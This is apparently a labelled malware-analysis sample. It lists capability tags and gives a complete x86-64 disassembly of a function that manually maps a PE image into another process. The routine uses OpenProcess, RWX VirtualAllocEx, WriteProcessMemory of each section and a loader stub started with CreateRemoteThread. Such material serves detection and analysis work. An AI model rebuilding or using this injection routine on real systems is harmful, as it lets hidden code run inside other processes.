Function at 0x14000ed50
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Parse pe header
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x10], rdx
push rdi
push r14
push r15
sub rsp, 0x80
mov eax, 0x5a4d
lea r14, [0x140387cb0]
cmp word [0x140387cb0], ax
mov rdi, rcx
je 0x14000edab
xor edx, edx
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov ecx, 0xcb
call fcn.14000ec30
movsxd rbx, dword [0x140387cec]
add rbx, r14
cmp dword [rbx], 0x4550
je 0x14000ede0
xor edx, edx
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov ecx, reloc.WLDAP32.dll_Ordinal_211
call fcn.14000ec30
mov eax, 0x2000
test word [rbx + 0x16], ax
jne 0x14000ee0e
xor edx, edx
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov ecx, reloc.WLDAP32.dll_Ordinal_217
call fcn.14000ec30
mov r8d, edi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
jne 0x14000ee38
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov ecx, 0xde
call fcn.14000ec30
mov r8d, dword [rbx + 0x50]
xor edx, edx
mov r9d, 0x1000
mov dword [rsp + 0x20], 0x40
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbp, rax
test rax, rax
jne 0x14000ee6f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov ecx, 0xe2
call fcn.14000ec30
mov r9d, dword [rbx + 0x54]
xor r15d, r15d
mov r8, r14
mov qword [rsp + 0x20], r15
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14000eecf
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov ecx, 0xe6
call fcn.14000ec30
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov esi, r15d
cmp r15w, word [rbx + 6]
jae 0x14000ef1b
nop dword [rax]
mov eax, esi
mov qword [rsp + 0x20], r15
lea rcx, [rax + rax*4]
mov r8d, dword [rbx + rcx*8 + 0x11c]
mov edx, dword [rbx + rcx*8 + 0x114]
add r8, r14
mov r9d, dword [rbx + rcx*8 + 0x118]
add rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rbx + 6]
inc esi
cmp esi, eax
jb 0x14000eee0
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
jne 0x14000ef83
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov ecx, 0xf8
call fcn.14000ec30
movsxd rax, dword [0x140387cec]
lea r8, [rsp + 0x40]
add rax, rbp
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x50], rax
mov r9d, Ordinal_60
mov qword [rsp + 0x40], rbp
mov rdx, rsi
mov eax, dword [rbx + 0xb0]
mov rcx, rdi
add rax, rbp
mov qword [rsp + 0x20], r15
mov qword [rsp + 0x58], rax
mov eax, dword [rbx + 0x90]
add rax, rbp
mov qword [rsp + 0x60], rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x68], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea r8, [0x14000ead0]
mov qword [rsp + 0x20], r15
lea r9, [fcn.14000ec20]
mov rcx, rdi
sub r9, r8
lea rdx, [rsi + 0x38]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], r15
lea r9, [rsi + 0x38]
mov dword [rsp + 0x28], r15d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbx, rax
test rax, rax
jne 0x14000f068
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov ecx, 0x10b
call fcn.14000ec30
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, [rsp + 0xa8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea r11, [rsp + 0x80]
mov al, 1
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rdi
ret